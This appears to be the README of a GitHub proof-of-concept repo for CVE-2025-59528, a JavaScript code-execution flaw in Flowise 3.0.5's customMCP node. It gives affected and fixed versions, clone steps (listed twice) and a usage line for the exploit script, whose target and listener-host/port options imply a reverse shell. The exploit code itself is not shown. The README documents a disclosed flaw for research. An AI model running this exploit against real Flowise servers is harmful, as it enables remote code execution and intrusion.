
CVE-2025-59528 Proof of Concept
This repo containts proof of concept demonstrating CVE-2025-59528 in Flowise v3.0.5
The vulnerability exists in the customMCP node, where user-supplied mcpServerConfig input is processed in a way that leads to JavaScript code execution via unsafe evaluation using the Function constructor.
| Affected | Fixed |
|---|---|
| 3.0.5 | 3.0.6 |
An authenticated user may be able to execute arbitrary JavaScript on the server, potentially leading to remote code execution.
git clone https://github.com/vanhari/CVE-2025-59528.git
cd CVE-2025-59528
git clone https://github.com/vanhari/CVE-2025-59528.git
cd CVE-2025-59528
python3 CVE-2025-59528.py -t "<url>" --api-key <api_key> --lhost <ip> --lport <port>

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.